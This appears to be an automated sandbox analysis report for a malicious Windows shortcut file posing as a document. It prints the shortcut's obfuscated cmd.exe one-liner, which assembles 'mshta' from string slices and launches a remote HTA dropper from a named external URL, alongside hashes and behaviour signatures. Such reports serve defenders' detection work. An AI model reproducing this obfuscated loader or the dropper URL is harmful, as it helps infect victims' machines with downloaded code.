Analysis

  • max time kernel
    38s
  • max time network
    31s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 17:09

General

  • Target
    DOC-1P91M2.lnk
  • Size 2KB
  • Sample260803-vpczyacf59
  • SHA256 6e012f1d229f2288126b88ed09cf20ebf74fde78ee0b576ca6407b2260d3a2e1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1P91M2.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2448
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/C"set BdH=qehsg&&set XSM=but7s&&set wL=6xarta&set KPbQ=tmpndgcqpqcqeqzbjrtttmp&set YZT=dbgxtuixikzgpnbajgddbg&set NNH=logqfqqcnnleggrphrlog&set ziBm=46tmawg&&set IQkOU=c34sb&&set Op=xthtatg1&set Ml=netaqremqmwamnet&set OMn=oldcwokfhytold&set vFlzX=cfgxduofdfizdwcfg&&set mtpm=htt@ps://@m@[email protected]@a@t@/h@/es@tagio1.@ph@p?r=39@1@469F@B5D@82DB&&start /b !ziBm:~3,1!!IQkOU:~3,1!!Op:~2,3! !mtpm:@=!&&set qVKt=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5988
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4136

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads